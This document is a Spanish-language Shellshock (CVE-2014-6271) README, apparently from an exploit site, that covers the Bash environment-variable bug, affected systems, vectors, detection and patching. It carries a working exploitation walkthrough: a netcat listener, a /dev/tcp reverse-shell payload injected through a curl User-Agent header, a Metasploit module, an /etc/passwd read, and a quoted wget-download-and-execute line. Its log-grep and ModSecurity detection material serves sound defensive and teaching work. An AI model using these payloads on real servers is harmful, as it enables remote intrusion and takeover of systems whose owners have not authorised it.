## https://sploitus.com/exploit?id=A0D95186-6519-5586-9004-945885F38457
```
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
```
# CVE-2014-6271 — Shellshock
**Remote Code Execution via Bash Environment Variable Injection**
[](https://nvd.nist.gov/vuln/detail/CVE-2014-6271)
[](https://nvd.nist.gov/vuln/detail/CVE-2014-6271)
[]()
[]()
[]()
> *"Una falla que estuvo oculta en Bash durante décadas y sacudió los cimientos de internet en menos de 24 horas."*
---
## Índice
- [¿Qué es Shellshock?](#-qué-es-shellshock)
- [Línea de tiempo](#-línea-de-tiempo)
- [Sistemas afectados](#-sistemas-afectados)
- [Descripción técnica](#-descripción-técnica)
- [PoC — Prueba de Concepto](#-poc--prueba-de-concepto)
- [Vectores de ataque](#-vectores-de-ataque)
- [Explotación completa](#-explotación-completa-reverse-shell)
- [Indicadores de compromiso](#-indicadores-de-compromiso-ioc)
- [Mitigación](#%EF%B8%8F-mitigación)
- [Disclaimer](#%EF%B8%8F-disclaimer)
---
## ❓ ¿Qué es Shellshock?
**Shellshock** (también conocido como *Bashdoor*) es una familia de vulnerabilidades críticas en el intérprete de comandos **GNU Bash** que permite a un atacante remoto ejecutar comandos arbitrarios en el sistema objetivo.
El error fundamental: Bash **no detenía el análisis** de una variable de entorno al finalizar la definición de una función. Cualquier código concatenado después de `() { :; };` era ejecutado automáticamente.
```
Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG
```
Dado que servidores web (CGI/Apache), servicios SSH y clientes DHCP convierten headers o parámetros en variables de entorno de Bash, la superficie de ataque era masiva.
---
## 📅 Línea de Tiempo
```
12 Sep 2014 ──── Stéphane Chazelas descubre el bug y lo reporta a Chet Ramey (mantenedor de Bash)
El bug existía en Bash desde hacía más de 20 años.
24 Sep 2014 ──── Divulgación pública + publicación del parche (CVE-2014-6271)
Horas después: botnets activas escaneando internet masivamente.
25-30 Sep 2014 ── Descubiertas vulnerabilidades relacionadas:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── Millones de ataques registrados. Comparado en severidad con Heartbleed.
```
---
## 💻 Sistemas Afectados
| Producto | Versiones Vulnerables | Estado |
|---|---|---|
| GNU Bash | 1.0.3 – 4.3 | Parcheado |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versiones pre-Sept 2014 | Parcheado |
| Apple macOS / OS X | 10.10 y anteriores | Parcheado (Security Update 2014-005) |
| Dispositivos IoT con Bash embebido | Múltiples | Varía según fabricante |
| Servidores web con CGI sobre Apache | Cualquier versión con Bash vulnerable | Parcheado |
---
## 🔬 Descripción Técnica
### El mecanismo del bug
Cuando Bash importa una función desde una variable de entorno, lee hasta el cierre `}` de la función. En versiones vulnerables, **continuaba procesando el código posterior** en lugar de detenerse.
```bash
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnerable al inicializarse:
# 1. Lee la definición de función → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd ← BUG
```
### Flujo del ataque vía CGI
```
Atacante Servidor Apache (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convierte headers a env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Ejecuta cmd
│ │ │ como www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Respuesta + output del cmd │ │
```
---
## 🧪 PoC — Prueba de Concepto
### Verificación básica de vulnerabilidad
```bash
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
```
**Resultado en sistema VULNERABLE:**
```
VULNERABLE
this is a test
```
**Resultado en sistema PARCHEADO:**
```
this is a test
```
*(o un error de sintaxis — nunca imprime "VULNERABLE")*
---
## ⚔️ Vectores de Ataque
### 1. CGI-BIN (más común)
Servidores web que usan scripts `.cgi` convierten los **HTTP Headers** en variables de entorno de Bash.
```
Headers afectados: User-Agent, Referer, Cookie, X-Forwarded-For, y cualquier header custom
```
### 2. SSH con ForceCommand
```bash
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'
```
### 3. Cliente DHCP
Servidores DHCP maliciosos pueden inyectar variables de entorno en clientes que usen Bash para procesar la respuesta DHCP.
### 4. Variables de entorno directas
```bash
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
```
---
## 💀 Explotación Completa: Reverse Shell
### Paso 1: Listener en máquina atacante
```bash
nc -lvnp 4444
```
### Paso 2: Payload de reverse shell
```bash
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
```
### Paso 3: Enviar la request maliciosa
```bash
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
```
### Paso 4: Shell obtenida
```
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
```
### Módulo Metasploit
```
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS
set TARGETURI /cgi-bin/test.cgi
set LHOST
run
```
---
## 🔍 Indicadores de Compromiso (IOC)
### En logs de Apache/Nginx
```bash
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
```
### Procesos sospechosos
```bash
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
```
### Indicadores en el sistema
```
- Nuevos archivos ejecutables en /tmp, /var/tmp, /dev/shm
- Conexiones salientes desde el servidor web a IPs desconocidas
- Modificación de /etc/crontab o /etc/passwd
- Procesos bash corriendo como www-data sin terminal
```
---
## 🛡️ Mitigación
### Parche inmediato (PRIORIDAD CRÍTICA)
```bash
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)
```
### Verificación post-parche
```bash
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
```
### Medidas adicionales
```bash
# 1. Deshabilitar CGI si no es necesario
a2dismod cgi
# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
```
---
## ⚠️ Disclaimer
> Este repositorio es exclusivamente para fines educativos, investigación en ciberseguridad y auditorías de seguridad autorizadas. Toda la información aquí presentada es de dominio público. Realizar pruebas contra sistemas sin autorización explícita es ilegal bajo las leyes de la mayoría de jurisdicciones. El autor no se hace responsable del uso indebido de esta información.
---
**Descubierto por Stéphane Chazelas · Publicado el 24 de Septiembre de 2014**
`CVSS Score: 10.0 (Critical) → Posteriormente ajustado a 9.8 en CVSSv3`